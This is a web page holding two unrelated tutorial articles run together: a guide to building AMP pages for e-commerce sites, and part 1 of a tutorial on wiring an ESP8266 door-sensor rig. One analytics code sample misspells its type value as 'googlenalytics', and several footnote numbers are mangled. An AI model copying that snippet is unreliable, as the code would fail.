Curt Long

Big news from Google: Within a few months, the infamous search engine will divide its index¹ to give users better and fresher content. The long-term plan is to make the mobile search index the primary one. Why does this matter for e-commerce website owners?

Well, it will enable Google to run its ranking algorithm differently for purely mobile content. This means that mobile content won’t be extracted from desktop content to determine mobile rankings. That’s definitely something that retailers can leverage, thanks to AMP. This article outlines how to get started with AMP and how to gain an edge over the competition with your e-commerce website.

Further Reading on SmashingMag: Link

• What Are Progressive Web AMPs?²
• Turn Your AMP Up To 11: Everything You Need To Know About Google’s Accelerated Mobile Pages³
• Current Trends And Future Prospects Of The Mobile App Market⁴
• A Case Study: Is App Indexing For Google Worth The Effort?⁵

AMP For Purely Mobile Content Link

So, how do online retailers go about leveraging this big Google announcement? With AMP content! AMP (Accelerated Mobile Pages) just celebrated its one-year anniversary. It is an open-source project supported by Google that aims to reduce page-loading times on mobile. AMP pages are similar to HTML pages, with a few exceptions: Some tags are different, some rules are new, and there are plenty of restrictions on the use of JavaScript and CSS.

AMP pages get their own special carousel in Google mobile search results. No official statement has been made yet about whether these AMP pages will be getting an SEO boost.

⁶

Is AMP Worth It? Link

While initially geared to blogs and news websites, AMP has introduced components that make it easy to adapt to an e-commerce website. To date, more than 150 million AMP documents are in Google’s index, with over 4 million being added every week. AMP isn’t meant purely for mobile traffic; it renders well on mobile, tablet and desktop. The AMP project’s website⁹ is actually coded in AMP HTML, in case you are curious to see what AMP looks like on a desktop. eBay was one of the most notable early adopters in the e-commerce realm; by July 2016, it took more than 8 million product pages live in AMP format and plans on going further.

Arguments In Favor Of AMP Link

Conversions, Conversions, Conversions Link

Google is touting a reduction of 15 to 85% in page-loading time on mobile. The main advantage of AMP for retailers is that slow loading times kill conversions. Selling products to people when they want them makes a huge difference to a business’ bottom line. Many shoppers will go to a competitor’s website if yours is too slow to load. Put that in a mobile context, and a slow loading time means losing 40% of visitors — potential customers who will take their dollars elsewhere.

Visibility Is Key Link

In brick and mortar stores, shop fronts are a big deal in attracting customers. It’s the same online, except that your storefront is supported by the speed of your customers’ Internet connection and the visibility you get on various channels (such as search engines, social media and email). Visibility is another way retailers can leverage AMP. Visibility is also a major element of the AMP equation. This is especially true in countries with limited mobile broadband speed¹⁰. And before you think this particular challenge is exclusive to developing nations, keep in mind that the US is not ranked in the top 10 countries in mobile broadband speed.

AMP pages feel like they load blazingly fast. Here’s a comparison:

Mobile-Friendly Is A Thing Of The Past For Google Link

User experience is central to most online retailers. A slow website with bloated code, an overwrought UI and plenty of popups is everyone’s nightmare, especially on a mobile device.

The “mobile-friendly” label was introduced by Google in late 2014 as an attempt to encourage websites to ensure a good mobile user experience. After widespread adoption of responsive design, the mobile-friendly label is being retired by Google in favor of the AMP label.

¹¹

AMP pages could be featured in a carousel and are labelled with a dedicated icon, highlighting them in search results. The search giant has recently stated that AMP would take precedence over other mobile-friendly alternatives such as in-app indexing. However, AMP is still not a ranking signal¹³, according to Google Webmaster Trends analyst John Mueller.

AMP: Because Mobile-Friendly Doesn’t Cut It Anymore Link

Media queries adapt the presentation of content to the device. However, the content of the page itself isn’t affected. In contrast, AMP helps make mobile web pages truly fast to load, but at a cost. Developers, designers and marketers will have to learn how to create beautiful web pages that convert using a subset of HTML with a few extensions.

AMP For E-Commerce Link

The premise of AMP¹⁴ is that mobile-optimized content should load instantly anywhere. It’s a very accessible framework for creating fast-loading mobile web pages. However, compatibility with the AMP format is not guaranteed for all types of websites. This is one of the realities of a constantly evolving project such as AMP. The good news is that many of the arguments against AMP for online retailers no longer hold up.

Benefits For E-Commerce Websites Link

AMP pages are now able to handle e-commerce analytics thanks to the amp-analytics variable. With this variable, statistics are available to analyze an AMP page’s performance in terms of traffic, revenue generated, clickthrough rate and bounce rate. According to the AMP project’s public roadmap¹⁵, better mobile payments are planned, after the addition of login-based access, slated for the fourth quarter of 2016.

Product and listing pages are supported in AMP, and they show great potential to add real value to the online customer journey. Keep in mind that 40% of users will abandon a website if it takes longer than 3 seconds to load¹⁶. Worse yet, 75% of consumers would rather visit a competitor website than deal with a slow-loading page.

Drawbacks Link

Some of the drawbacks that have been noted are mostly due to the fact that AMP for e-commerce is rather new. There are a few concerns about the quality of the user experience offered by AMP e-commerce pages because some e-commerce functionality is not yet available, such as search bars, faceted search filters, login and cart features. However, frequent updates to the AMP format are planned, so this shouldn’t be a deterrent to those looking to implement it.

¹⁷

There has been some grumbling about the format among marketers. AMP relies on simplified JavaScript and CSS. As a consequence, tracking and advertising on AMP pages is less sophisticated than on traditional HTML pages. That being said, the main drawback is that implementing AMP pages effectively will take time and effort. The code is proprietary, heavily restricts JavaScript (iframes are not allowed, for example) and even limits CSS (with some properties being outright banned).

How to Develop AMP Pages for an E-Commerce Website Link

To ensure that your website is AMP-compliant²⁰, check the instructions provided in the AMP project’s documentation²¹. Keep in mind that AMP pages should be responsive²² or mobile-friendly. A best practice would be to test the implementation of AMP pages against your current mobile website using a designated subset of pages. This will give you a sample to determine whether AMP adds value to your business.

You don’t have to make your entire website AMP-compliant. Start upgrading the website progressively: Pick simple static-content pages first, such as product pages, and then move on to other types of content. This way, you can target highly visible pages in SEO results, which will lead to a big payoff for the website without your having to deal with pages that require advanced functionality not yet supported by AMP.

If your website uses a popular CMS, then becoming AMP-compliant could be as easy as installing a plugin.

• Magento
  
  The AMP extension by Plum Rocket²³ automatically generates AMP versions of your home page, category pages, product pages and blog pages. An interesting feature is that the AMP home page isn’t just “converted”; you can edit it in Magento’s back end.
• WordPress
  
  AMP for WP²⁴ is a plugin that lets you create custom AMP designs without having to code. You can customize the logo, header, footer, images and more. It is compatible with WooCommerce and AdSense. The plugin generates AMP versions of your home page, blog articles, WooCommerce shop, products and categories pages.
• Shopify
  
  Nothing yet, but it’s under way!

A Step-By-Step Guide To Implementing AMP On Your E-Commerce Website Link

Let’s break down the process according to the customer journey. AMP offers a selection of prebuilt components to help you craft an enjoyable user experience on an e-commerce website (along with some evolving tools to help you collect data in order to improve it). You can implement four major AMP elements along key points in the customer’s purchasing journey, including on the home page, browsing pages, landing pages, product pages and related product widgets:

• product descriptions,
• reviews,
• product shots,
• navigation.

The entire purchasing flow can’t be 100% AMP-compliant yet, so you’ll have to plan a gateway to a regular non-AMP page for ordering and completing purchases.

1. Browsing (Home and Product Pages) Link

Users will often start their purchasing journey on a website’s home page or a product category page, because these pages are prominent in search engine results. These pages are great candidates for AMP, as eBay has shown²⁵ by making many of its category pages AMP-compliant. Typically, category pages are static and showcase products for sale. The amp-carousel feature²⁶ offers a way to browse other products in a mobile-optimized way. These products can be organized into subcategories that fit the user’s needs. You can view the annotated code to create a product page over on AMP by Example²⁷.

²⁸

2. Landing On A Product Page Link

After browsing to a category page, the next step for our user would be to find an interesting product and click on it. In an AMP-compliant flow, this would lead the user to an AMP product page²⁹.

³⁰

Your AMP product page could include the following:

• a great hero banner (image or video) using the amp-carousel³¹ and amp-video elements³²;
• detailed sections, which use the amp-accordion tag³³ and which enable the user to easily share the product’s URL via the amp-social-share element³⁴;
• a navigation menu (across all of your pages, actually), using the amp-sidebar³⁵.

Here is a preview of what the AMP carousel looks like on mobile:

3. Exploring Related Products Link

Showing related products³⁶ benefits the retailer’s bottom line and the user’s experience. The first product that a user browses to isn’t always the one that fits their need. You can show related products in AMP in two ways:

• Statically publish a list of related products.
• Generate the list on the fly using amp-list³⁷ to fire a CORS request to a JSON endpoint that supplies the list of related products. These related products can be populated in an amp-mustache⁴¹³⁸ template on the client. This approach is personalized because the content is dynamically generated server-side for each request.

4. Personalizing and Understanding Link

Personalization is a big deal in e-commerce because it increases conversions. To dip into personalization in the AMP format, you can leverage the amp-access³⁹ component to display different blocks of content according to the user’s status. To make it all work, you have to follow the same method as we did with the amp-list⁴⁰ component: Fire a request at a JSON endpoint, and then present the data in an amp-mustache⁴¹³⁸ template. Keep in mind that personalization doesn’t have a leg to stand on without reliable data. Google has been actively extending the tracking options available in AMP.

You can track users at an aggregate level using the amp-analytics component⁶²⁴²; AMP supports several analytics vendors.⁴³

Sidenote: In case you see cdn.ampproject.org in your Google Analytics data, this is normal for AMP pages; cdn.ampproject.org is a cache that belongs to Google. No need to worry about this strange newcomer to your Google Analytics data!

AMP now supports some analytics products, such as Adobe’s and Google’s own. The type attribute will quickly configure the respective product within the code. Here’s an example of type being used for Google Analytics:

<amp-analytics type="googlenalytics">

And here are the types for some of the most common analytics vendors:

• Adobe: adobeanalytics
• Google Analytics: googleanalytics
• Segment: segment
• Webtrekk: webtrekk
• Yandex Metrica: metrika

Google Tag Manager⁴⁴ has taken AMP support one step further with AMP containers. You can now create a container for your AMP pages.

⁴⁵

More than 20 tag types are available out of the box, including third-party vendor tags. Alongside a wider selection of tags, Google has provided built-in variables dedicated to AMP tracking, making it easier for marketers and developers to tag their pages.

⁴⁶

If you are not using Google Tag Manager, you can implement your tag management service in one of two ways:

• endpoint
  
  This acts as an additional endpoint for amp-analytics and conducts marketing management in the back end.
• config
  
  This manages tags via a dynamically generated JSON config file, unique to each publisher.

The endpoint approach is the same as the standard approach. The config approach consists of creating a unique configuration for amp-analytics that is specific to each publisher and that includes all of the publisher’s compatible analytics packages. A publisher would configure using a syntax like this:

<amp-analytics config="https://your-dream-tag-manager.example.com/user-id.json">

Many online retailers rely on advertising or showing related products throughout their website to boost revenue. The AMP format is bootstrapped to show ads through <amp-ad> and <amp-embed>. The documentation is quite clear⁴⁷ on how to implement ads, and the good news is that a wide variety of networks are already supported. Although iframes are not allowed in AMP, two embed types support ads with <amp-embed>: Taboola and Zergnet. If you plan on using ads in AMP, follow these principles⁴⁸ in your development work:

• Faster is better.
  
  Ads should be fast.
• Beauty matters.
  
  Keep ads beautiful and innovative.
• Be safe, be secure.
  
  All creative must use the HTTPS protocol.

5. Supporting Purchases Link

The previous step was a tricky one because it entails maintaining a seamless user experience while the user transitions to a full HTML page. The process should be fast and consistent for the user. An experience that isn’t consistent with the preceding AMP journey could hurt conversions. If your website is a progressive web app, then amp-install-serviceworker⁴⁹ is an ideal way to bridge both types of pages within the customer journey, because it allows your AMP page to install a service worker on your domain, regardless of where the user is viewing the AMP page. This means that caching content from your progressive web app can be done preemptively to ensure that the transition is smooth for the customer, because all of the content needed is cached in advance. An easy way to experience the entire AMP e-commerce experience is to head on over to eBay⁵⁰; see how the company handles the transition from AMP to an HTML checkout process.

6. Keep Caching In Mind Link

AMP works within a smart caching model that enables platforms that refer traffic to AMP pages to use caching and prerendering in order to load web pages super-fast. Be aware of this when analyzing traffic and engagement because you might see less traffic to your own origin when AMP pages are originally hosted (this is why we referred to cdn.ampproject.org in Google Analytics data). The balance of traffic will most likely show up through proxied versions of your pages served by AMP caches.

Tools To Validate AMP Pages Link

• The AMP Validator⁵¹
• In Google Search Console, AMP-related issues are shared under “Search Appearance”:

⁵²

A whole host of useful resources are available if you have any questions:

• Webmaster Central Help Forum⁵³
  Ask questions about AMP and Google’s implementation of AMP.
• Stack Overflow⁵⁴
  Ask technical questions about AMP.
• GitHub⁵⁵
  Submit a feature request or contribute.
• You could even design a component⁵⁶ yourself.

Experimenting With AMP Link

eBay has shared its experience⁵⁷ in implementing AMP for its own e-commerce platform:

• Best practices
  
  AMP encompasses a lot of best practices for building mobile web pages. Incorporate mobile best practices as part of your regular development lifecycle.
• Less forking in code
  
  If you follow AMP best practices when building regular pages as well, you can reuse most of the UI components between AMP and non-AMP pages. That means less forking (except for the JavaScript-based components).
• AMP component list
  
  There is a growing list of components⁵⁸, such as sidebar⁵⁹, carousel⁶⁰ and lightbox⁶¹, that are critical for a compelling e-commerce experience.
• Internal search
  
  Adding AMP’s ecosystem to one’s internal search would be a very interesting prospect for many online retailers.

Mind you, there are some complex parts:

• Infrastructure components
  
  Things such as global headers and footers and tracking modules have some JavaScript, which is a no-go for AMP. This adds complexity to development but can be worked around.
• Tracking
  
  AMP provides user-activity tracking through its amp-analytics component⁶²⁴². The component can be configured in various ways, but it is still not sufficient for the granular tracking needs of most online retailers.

However, once you get past the internal hurdles, the payoff can be great. Check out the examples provided by eBay for camera drones⁶³ and the Sony PlayStation⁶⁴. (Use a mobile device, of course, otherwise you will be redirected to the desktop version.)

SEO-Related Questions Link

SEO experts are pushing for AMP adoption because some see it as a mobile-visibility asset to be leveraged. Here are some SEO points to ensure you get the most out of AMP:

• Host AMP pages on the same domain as other page versions.
• The Google AMP cache is a proxy-based content delivery network for delivering all valid AMP documents. It fetches AMP HTML pages, caches them and improves page performance automatically.
• An AMP page is served to the user from the Google AMP cache, and it will have a different URL so that duplicate content issues are avoided. If you have both AMP and non-AMP versions of your pages, use the <link rel="canonical" href="[canonical URL]" /> tag on the AMP page and <link rel="amphtml" href="[AMP URL]" /> on the regular page. For a standalone AMP page (one that doesn’t have a non-AMP version), specify it as the canonical version: <link rel="canonical" href="https://www.example.com/url/to/amp-document.html" />.
• One of the most common URL structures is to add /amp/ to the path of the URL.

Conclusion Link

An e-commerce website can’t be 100% compliant with AMP, but there are benefits to adopting the format early on. Online retailers looking for an edge against fierce competition might be wise to turn to this format to grab the attention of mobile customers and nudge open their wallets. More and more websites are converting to the AMP format to increase or maintain their mobile traffic. For an online retailer that has a multi-channel or mobile-first strategy to acquire and retain customers, AMP might be a great way to future-proof their online marketing efforts.

Resources Link

• AMP⁶⁵ (official website)
• “Roadmap⁶⁶,” AMP
• “Turn Your AMP Up to 11: Everything You Need to Know About Google’s Accelerated Mobile Pages⁶⁷,” Christian Cantrell, Smashing Magazine
• “Accelerated Mobile Pages⁶⁸,” David Bushell
• “AMP vs. Responsive Web Design⁶⁹,” WombMobile
• “Accelerated Mobile Pages (AMP): What You Need to Know⁷⁰,” In Marketing We Trust
• “How Loading Time Affects Your Bottom Line⁷¹,” Kissmetrics
• “8 Tips to AMPlify Your Clients⁷²,” Google Webmaster Central Blog

(da, vf, al, yk, il)

Footnotes Link

1. 1 http://searchengineland.com/google-divide-index-giving-mobile-users-better-fresher-content-261037
2. 2 https://www.smashingmagazine.com/2016/12/progressive-web-amps/
3. 3 https://www.smashingmagazine.com/2016/02/everything-about-google-accelerated-mobile-pages/
4. 4 https://www.smashingmagazine.com/2017/02/current-trends-future-prospects-mobile-app-market/
5. 5 https://www.smashingmagazine.com/2017/01/case-study-app-indexing-google-worth-the-effort/
6. 6 https://www.smashingmagazine.com/wp-content/uploads/2017/01/amp-mobile-carousel-large-opt.png
7. 7
8. 8 https://www.smashingmagazine.com/wp-content/uploads/2017/01/amp-mobile-carousel-large-opt.png
9. 9 https://www.ampproject.org/
10. 10 http://www.xconomy.com/boston/2015/01/08/state-of-the-internet-us-connection-speeds-rank-17th-in-world/
11. 11 https://www.smashingmagazine.com/wp-content/uploads/2017/01/how-to-be-popstar-amp-format-large-opt.png
12. 12 https://www.smashingmagazine.com/wp-content/uploads/2017/01/how-to-be-popstar-amp-format-large-opt.png
13. 13 https://www.youtube.com/watch?v=aoL_As2kzRk#t=950
14. 14 https://www.smashingmagazine.com/2016/02/everything-about-google-accelerated-mobile-pages/
15. 15 https://www.ampproject.org/roadmap/
16. 16 https://blog.kissmetrics.com/loading-time/
17. 17 https://www.smashingmagazine.com/wp-content/uploads/2017/01/amp-page-ebay-large-opt.jpg
18. 18 https://www.iprospect.com/~/media/Local/US/Our%20blog/Articles/2016/AMP.jpg?la=en
19. 19 https://www.smashingmagazine.com/wp-content/uploads/2017/01/amp-page-ebay-large-opt.jpg
20. 20 https://webmasters.googleblog.com/2016/09/8-tips-to-amplify-your-clients.html
21. 21 https://www.ampproject.org/docs/get_started/create.html
22. 22 https://www.ampproject.org/docs/guides/responsive_amp.html
23. 23 https://store.plumrocket.com/magento-extensions/accelerated-mobile-pages-magento-extension.html
24. 24 https://wordpress.org/plugins/accelerated-mobile-pages/
25. 25 http://www.ebaytechblog.com/2016/06/30/browse-ebay-with-style-and-speed/
26. 26 https://ampbyexample.com/components/amp-carousel/
27. 27 https://ampbyexample.com/samples_templates/product_listing/preview/
28. 28 https://www.smashingmagazine.com/wp-content/uploads/2017/01/amp-homepage-example.png
29. 29 https://ampbyexample.com/samples_templates/product/preview/
30. 30 https://www.smashingmagazine.com/wp-content/uploads/2017/01/amp-product.png
31. 31 https://ampbyexample.com/components/amp-carousel/
32. 32 https://ampbyexample.com/components/amp-video/
33. 33 https://ampbyexample.com/components/amp-accordion/
34. 34 https://www.ampproject.org/docs/reference/extended/amp-social-share.html
35. 35 https://www.ampproject.org/docs/reference/extended/amp-sidebar.html
36. 36 https://ampbyexample.com/samples_templates/product/preview/#related-products
37. 37 https://ampbyexample.com/components/amp-list/
38. 38 https://www.ampproject.org/docs/reference/extended/amp-mustache.html
39. 39 https://ampbyexample.com/components/amp-access/
40. 40 https://www.ampproject.org/docs/reference/extended/amp-list.html
41. 41 https://www.ampproject.org/docs/reference/extended/amp-mustache.html
42. 42 https://www.ampproject.org/docs/reference/extended/amp-analytics.html
43. 43 https://www.ampproject.org/docs/reference/extended/amp-analytics.html#analytics-vendors
44. 44 https://analytics.googleblog.com/2016/10/google-tag-manager-giving-mobile.html
45. 45 https://www.smashingmagazine.com/wp-content/uploads/2017/01/gtm-amp-container.png
46. 46 https://www.smashingmagazine.com/wp-content/uploads/2017/01/gtm-amp-tracking.png
47. 47 https://www.ampproject.org/docs/reference/components/amp-ad
48. 48 https://amphtml.wordpress.com/2016/01/25/amp-what-about-ads/
49. 49 https://ampbyexample.com/components/amp-install-serviceworker/
50. 50 http://www.ebaytechblog.com/2016/06/30/browse-ebay-with-style-and-speed/
51. 51 https://validator.ampproject.org/
52. 52 https://www.smashingmagazine.com/wp-content/uploads/2017/01/search-console-amp.jpg
53. 53 https://productforums.google.com/forum/#!forum/webmasters
54. 54 http://stackoverflow.com/questions/tagged/amp-html
55. 55 https://github.com/ampproject/amphtml
56. 56 https://github.com/ampproject/amphtml/blob/master/CONTRIBUTING.md#contributing-code
57. 57 http://www.ebaytechblog.com/2016/06/30/browse-ebay-with-style-and-speed/
58. 58 https://www.ampproject.org/docs/reference/extended.html
59. 59 https://www.ampproject.org/docs/reference/extended/amp-sidebar.html
60. 60 https://www.ampproject.org/docs/reference/extended/amp-carousel.html
61. 61 https://www.ampproject.org/docs/reference/extended/amp-lightbox.html
62. 62 https://www.ampproject.org/docs/reference/extended/amp-analytics.html
63. 63 https://cdn.ampproject.org/c/m.ebay.com/sch/amp/Camera-Drones/179697/bn_89951/i.html
64. 64 https://cdn.ampproject.org/c/m.ebay.com/sch/amp/Sony-PlayStation-4-Video-Game-Consoles/139971/bn_339810/i.html
65. 65 https://www.ampproject.org
66. 66 https://www.ampproject.org/roadmap/
67. 67 https://www.smashingmagazine.com/2016/02/everything-about-google-accelerated-mobile-pages/
68. 68 http://dbushell.com/2015/10/20/accelerated-mobile-pages/
69. 69 http://www.wompmobile.com/blog/amp-vs-responsive-web-design/
70. 70 http://www.inmarketingwetrust.com.au/accelerated-mobile-pages-matter/
71. 71 https://blog.kissmetrics.com/loading-time/
72. 72 https://webmasters.googleblog.com/2016/09/8-tips-to-amplify-your-clients.html

↑ Back to topTweet itShare on Facebook

The world is constantly evolving with frameworks, such as the Internet of Things (IoT) and virtual reality (VR). These and many others are opening opportunities to rethink how we approach prototyping: They introduce avenues to marry the digital software with the tangible aspect of the overall user engagement.

This two-article series will introduce readers of different backgrounds to prototyping IoT experiences with minimum code knowledge, starting with affordable proof of concept platforms, before moving to costly commercial offerings.

• “Part 1: Building the Hardware” will identify the problem, the criteria for selecting hardware and, finally, how to put the different pieces of equipment together.
• In “Part 2: Configuring the Software,” we will continue the discussion by writing the code to control the hardware and connect the hardware to the Internet, and we will design custom interfaces to display the collected data.

We will do this by going over a personal experience I had as a user experience designer while learning the basics of an IoT platform named “Adafruit IO”. This will be a nice introductory case study.

The following are some assumptions about you:

• You can read code and may have even written some on your own (we’re not going to learn coding basics here).
• You have some understanding of circuitry and electronics. For more on this, see the “Resources” section.
• You are curious and like to explore and tinker.

Disclaimer:I am not an electronics engineer or a developer. Please always be careful when exploring electricity and hardware. This tutorial is meant to inspire you to do additional research before finding what works for your circumstances!

If this sounds appealing, let’s dive into part 1!

Further Reading on SmashingMag: Link

• Choosing The Right Prototyping Tool¹
• Prototype And Code: Creating A Custom Pull-To-Refresh Gesture Animation²
• Prototyping iOS And Android Apps With Sketch (With A Freebie!)³
• iOS Prototyping With TAP And Adobe Fireworks⁴

The Problem Link

Some Quick Definitions Link

IoT talk is sometimes unnecessary complex. To reduce the jargon, I will use some reader-friendly terms, as defined below.

• board
  
  You can think of the board as a mini-computer that holds the software in code form (often called firmware) that is responsible for determining how different sensors and the board itself behave in response to inputs from and outputs to their environment. A more technical term is microcontroller unit (MCU).
• cloud
  
  There are a ton of definitions and as many philosophical debates regarding this term. For the purpose of this series, let’s define it as any remote servers, plus inbound and outbound connections to and from them.
• ecosystem
  
  This is a collection of hardware and software that create a unique overall experience for the end user.
• rig
  
  The board, power supply unit and any attached sensors form a cohesive hardware unit.

Needs and Early Explorations Link

On a cold winter day, I read an article on smart homes being the future, which immediately inspired me to turn my home into a smart one. This translated into several commercial product purchases, including devices from the Nest family, which just whet my appetite.

Controlling my air conditioning and furnace and detecting possible carbon monoxide emissions were not enough! I wanted to go further by having monitoring capabilities over my home security. This includes:

• tracking doors opening and closing,
• verifying the occurrence of a fire or flood,
• looking at temperature and humidity,
• capturing movement in my garage.

Getting to the point of picking Adafruit IO as the solution was not a simple journey. Before deciding on that platform and the HUZZAH ESP8266 board, I tried several other solutions, with varying success:

• Generic ESP8266 Board⁵ (hobbyist)
  
  I gave this a go before even having selected the cloud platform for it. My experience showed me that programming the board requires additional setup, and pushing code to it is often unreliable. For the rigs that I got up and running, I noticed the Wi-Fi connection dropping completely after only a few days.
• Samsung SmartThings⁶ (commercial)
  
  This is a beautifully designed package of sensors and central wireless hub. It is part of an ecosystem that comes with a handy mobile app and support for third-party products⁷. I spent considerable time trying to get the sensor-to-hub communication to work, but unfortunately, even with the help of the support team, it did not work. I attributed this to my home being a black hole for all things wireless.
• Particle.io⁸ (hobbyist and commercial)
  
  This ecosystem offers dedicated development tools, various IoT-based boards and robust integration with libraries. I gave it a try and was impressed with the performance and flexibility for the end user. I hit roadblocks when integrating Blynk⁹, a platform for controlling devices via drag-and-drop interfaces. Though I am putting this approach on hold, I look forward to exploring the Particle-Blynk combination again soon.

Criteria Link

My vision was to have multiple sensors that could be viewed and controlled from a computer or mobile device independently at any time. To accomplish this, I needed both a Wi-Fi-enabled hardware board and a software platform that could talk to it and any attached sensors.

I decided to be more strategic in my choices, so I came up with a list of criteria, in order of priority:

1. low cost
   
   For scalability, I wanted to keep the rig (i.e. board, sensors and power supply) in the $25 to $30 range — 50% less costly than commercial offerings.
2. small board
   
   I wanted a small size for easy mounting and to have enough space to fit multiple sensors in a custom enclosure.
3. support community
   
   In case of problems, access to learning resources and a community are key.
4. wired power
   
   In tests, a 9-volt battery lasted only a day. Solar was out of the question due to poor sun coverage of the home. Thus, the board had to be able to be wired to an outlet.
5. low learning curve
   
   Though I have some development experience and hardware hacking knowledge, I didn’t want this to be an arduous project.

After exploring the three approaches mentioned further above, I ruled out the following additional equipment, based on the five criteria. Keep in mind that I am giving you the high-level details — a whole article could be written on selecting a board!

Board	What it is	Why I ruled it out
Arduino Yun10	Offers both wired and wireless Internet connectivity, expandable RAM and onboard memory. The board has a Linux-based distribution, making it a powerful networked computer.	The price of the controller ($69) and the bulky size proved to be too limiting. Also, I didn’t need something so powerful. I ended up buying one to test out for a garden watering project.
Raspberry Pi 3 Model B11	In addition to offering wired and wireless connectivity, it has HDMI and audio ports, Bluetooth integration and support for use of a custom-sized SD card with different operating systems.	While I could load a Linux-based operating system and use the Python language to accomplish anything, that’s not what I needed. I ended up using this platform for other projects. The $40 price tag and the bulky size were also limiting factors.
Raspberry Pi Zero12	This $5 board packs a big punch. The powerful CPU and large RAM made it a strong contender, as did the small size and large number of GPIO pins.	Two things nixed this board. It doesn’t have on-board Wi-Fi, and so requires additional equipment. And because it is very popular, finding this board is hard. In the US, it is sold only at Micro Center13, which limits it to one per home per month. (Note: At the time of writing v1.3 of the board with on board Wi-Fi and Bluetooth was not yet available.)

Side note: For more information on choosing a board for your hardware prototyping project, you can consult the excellent “Makers’ Guide to Boards¹⁴.”

Further researching led me to Adafruit’s HUZZAH ESP8266¹⁵ board, which is but one variation of the ESP8266 chipset; there are others, such as the NodeMCU LUA¹⁶. Each has unique capabilities, so choose wisely. Here is why I selected the HUZZAH:

• the price ($10, not counting shipping);
• 12+ digital input and output pins and 1 analog pin;
• an on-board reset button
• voltage shifting from 3.3 and 5 volts (but it’s primarily a 3.3-volt board)
• a dedicated IoT service (Adafruit IO) with UI building blocks.

Getting Started Link

Deciding to start small, I wanted to build a sensor that tracks whether a door is open. The rest of this first article will focus on the hardware for this use case, but much of the wiring will scale to other types of sensors.

Tools Link

• FTDI cable¹⁸ ($8 – $20 on average)
  
  It’s best to get one that supports 3.3 and 5 volts, in case you want to explore rigs using the original ESP8266 ESP-01 board in the future. It must offer TX and RX LEDs for easier troubleshooting while pushing code to the board. This is used to push the code from the programming computer to the board.
• Putty¹⁹ ($5 – $7 on average)
  
  This is used to mount the rig without damaging the wall. Various LEGO pieces can be used to keep the sensor in place without moving.
• Ordinary soldering iron²⁰ ($20 on average)
  
  This helps to attach the headers (pin legs) to the board.

The following I am assuming you having just laying around: a computer, a solder wire and a solder iron cleaner.

Hardware Components Link

• HUZZAH ESP8266 board²¹ ($10 on average)
  
  This is the brain that drives the hardware.
• 400-row mini-breadboard²² ($2 – $4 on average)
  
  This is used to plug in various electronics components.
• 9-volt 1-amp adapter²³ ($4 – $7 on average)
  
  This powers the hardware setup. It should have enough current to power the entire rig.
• 3.3- to 5-volt regulating power breadboard supply²⁴ ($3 – $6 on average)
  
  This ensures that the board has the correct 3.3-volt power.
• Keyes reed switch sensor²⁵ ($5 on average)
  
  This magnetic sensor helps to determine whether a door is open.
• Male-to-male and male-to-female cables²⁶ ($2 – $4 on average)
  
  This connects the different hardware parts to the board and to the power.
• Small magnet²⁷ ($1 on average)
  
  You can use this to trigger a door opened and closed event.
• Enclosure container²⁸ ($1 – $3 on average)
  
  This is purely optional, but it brings some aesthetics to the build.

Total: $30 to $40 on average (using US parts)

Connecting The Hardware Link

Before getting to the details of how to put the rig together, let’s talk about what the goal is. By the end of this first article, you should have something similar to what you see below. With this setup, you will have a mini-computer (the board) capable of collecting sensor data from your environment and communicating it to the cloud (Adafruit IO) over Wi-Fi.

Putting the Board Together Link

The first step is to assemble the HUZZAH board by soldering on its pin headers, including both the board leg headers and the FTDI header. Adafruit has a step-by-step tutorial³⁰ on this.

When you are soldering the first leg header, ensure that the board is not tilting one way, which would result in the pins being soldered at an angle. A trick I used is to put a bit of putty under the board to even it out as it is being plugged into the breadboard.

Once you have soldered all of the headers, insert the board in the breadboard with the antenna (the wavy gold line) facing outwards.

Adding the Breadboard Power Supply Link

Insert the supply at the opposite end of the breadboard, with the top and bottom legs fitting in the + and – breadboard rails. This is how power will be passed to the breadboard.

Next, set the yellow jumpers for both rails to 3.3 volts, which is the voltage used by the HUZZAH board.

Note: Depending on your breadboard, the – and + might not match the alignment of the power supply jumpers. That’s fine as long as you remember that the power supply dictates which breadboard rail carries which electrical signal!

Wiring for Power and Connecting the Sensor Link

Connect the HUZZAH board to the power:

1. Connect the 3V to the + rail (the power).
2. Connect the GND to the – rail (the ground).

Connecting the sensor is very easy:

1. Connect the + to the + rail on the breadboard (the power).
2. Connect the – to the – rail on the breadboard (the ground).
3. Connect the S to the #5 on the board (digital input pin).

If you are curious to learn how reed switches operate, Chris Woodford has more information³⁴ on the subject.

As a last step, plug the 9-volt adapter into a power outlet, then into the breadboard power supply. Push the white button. If everything is correctly wired, you should see several lights flicker on, including for the power supply (the green one), the board power (red), the Wi-Fi (blue) and the sensor (red if the magnet is touching the sensor).

Mounting the Rig Link

At this point, you can start writing the code for the rig, but I find this is a good opportunity to test the mounting of the container box. This is not a permanent mounting, but a trial run to gauge the rig’s overall dimensions and the best fit. Before doing that, you need to take some steps first.

Step 1: Using your soldering iron, melt one hole in the left side of the container for the power adapter plug, and three smaller ones on the right for the individual sensor wires.

Warning: Make sure to do this in a well-ventilated area, so that you don’t breathe in fumes. After that, clean your soldering iron’s tip with a nonabrasive sponge.

Step 2: Put the entire rig in the container, and pass the cables through the holes.

Step 3: Close the container, and mount it on the wall with the putty. Tapes of various types won’t work well. Alternatively, you could punch holes in the bottom of the container to mount with screws, but make sure they are insulated with electrical tape to avoid short-circuiting any electronics.

I have also tried using hot glue. I think it is messy, but it is not all that more expensive, and you can pick one up on the cheap³⁸ if you prefer that method.

Step 4: Use a combination of LEGO pieces and putty to mount the sensor and the accompanying magnet to the door.

Now that the rig is all wired up, you can connect to it with the FTDI cable and start adding the code that will make the sensor work.

Lessons Learned And Troubleshooting Link

Equipment Link

• Using a 5-volt 1-amp power adapter (rather than 9 volts and 1 amp) won’t cut it. In my tests, the rig never powered on this way. I attribute this to the voltage conversion in the breadboard’s power supply.
• In trying different hall sensors, I was getting readings all over the board. See if they work for you, but my preference remains a reed switch because of its large surface area for interacting with the magnet.

Mounting Link

• Most 9-volt 1-amp power supplies have short cables. An extension cord is recommended!
• If you don’t want to damage the mounting surface, putty is your best bet. Given the weight of the rig, tape and other materials won’t work as well.
• Be careful not to place the reed switch too close to the magnet, or you’ll risk breaking the glass tube when opening and closing the door.

Conclusion Link

In this first article of our two-part series, we’ve identified the problem (home security), assessed the merit of an IoT setup, and discussed the rationale involved in selecting a particular board. This was followed by a step-by-step guide on how to put together all of the hardware components into a working rig.

In doing so, we’ve learned the basics of electronics. In the second and final article in this series, we will add code to the rig we’ve built here, so that we can start interacting with the environment. Then, we will build custom user interfaces to view the data from anywhere, while discussing at a high level the security implications of the software configuration.

